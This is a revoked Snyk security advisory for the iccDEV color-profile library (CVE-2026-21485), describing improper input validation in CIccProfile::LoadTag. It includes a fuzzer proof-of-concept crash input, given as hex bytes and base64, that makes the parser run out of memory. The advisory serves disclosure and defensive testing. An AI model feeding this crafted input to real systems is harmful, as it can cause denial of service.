Improper Input Validation The advisory has been revoked - it doesn't affect any version of package InternationalColorConsortium/iccDEV (opens in a new tab)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-INTERNATIONALCOLORCONSORTIUMICCDEV-14874171
- published6 Jan 2026
- disclosed6 Jan 2026
- creditDavid Hoyt
Introduced: 6 Jan 2026
CVE-2026-21485 (opens in a new tab)Amendment
This was deemed not a vulnerability.
Overview
Affected versions of this package are vulnerable to Improper Input Validation via the CIccProfile::LoadTag function in the IccProfLib/IccProfile.cpp file. An attacker can cause undefined behavior or exhaust system memory by providing specially crafted input to this function.
PoC
MS: 1 PersAutoDict- DE: "XYZ "-; base unit: d96151d54eb5c48b5163fbc5230fcdd09dd85aad
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x8d,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xf7,0xff,0xff,0xff,0x61,0x63,0x73,0x70,0xff,0xfe,0x0,0x0,0x0,0x0,0xaf,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xa7,0xff,0xff,0xff,0xae,0xdc,0x2,0x0,0x0,0xff,0xff,0xa7,0xff,0xff,0xff,0xae,0xdc,0x2,0xff,0x61,0x63,0x73,0x70,0xff,0xfe,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xf7,0xff,0xff,0xff,0x61,0x63,0x73,0x70,0xff,0xfe,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x4,0x0,0x0,0x0,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0x2d,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0x58,0x59,0x5a,0x20,0x49,0x43,0x43,0x70,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0x0,0x0,0x0,0xa5,0x0,0x0,0x0,0x0,0xdc,0xdc,0xff,0x2f,0xdc,0x45,0xff,0xff,0xff,0x1a,
\377\377\377\377\377\377\377________\215_______\377\377\377\377\377\377\377\377\377\367\377\377\377acsp\377\376\000\000\000\000\257\000\000\000\000\000\000\000\000\000\000\000\000\247\377\377\377\256\334\002\000\000\377\377\247\377\377\377\256\334\002\377acsp\377\376\000\000\000\000\000\377\377________________\377\377\377\377\377\377\377\377\377\367\377\377\377acsp\377\376\000\000\000\000\000\001\000\000\000\004\000\000\000\251\251\251\251\251\251\251\251\251\251\251\251\251\251-\251\251\251\251\251\251\251\251\251\251\251\251\251\251\251XYZ ICCp\251\251\251\251\251\251\251\251\251\251\000\000\000\245\000\000\000\000\334\334\377/\334E\377\377\377\032
artifact_prefix='/tmp/tmpk6dbz5y5/'; Test unit written to /tmp/tmpk6dbz5y5/oom-752adeaec051e9e27776e17c5efc9b556f6e9fae
Base64: /////////19fX19fX19fjV9fX19fX1/////////////3////YWNzcP/+AAAAAK8AAAAAAAAAAAAAAACn////rtwCAAD//6f///+u3AL/YWNzcP/+AAAAAAD//19fX19fX19fX19fX19fX1/////////////3////YWNzcP/+AAAAAAABAAAABAAAAKmpqampqampqampqampLampqampqampqampqampqVhZWiBJQ0NwqampqampqampqQAAAKUAAAAA3Nz/L9xF////Gg==
SUMMARY: libFuzzer: out-of-memory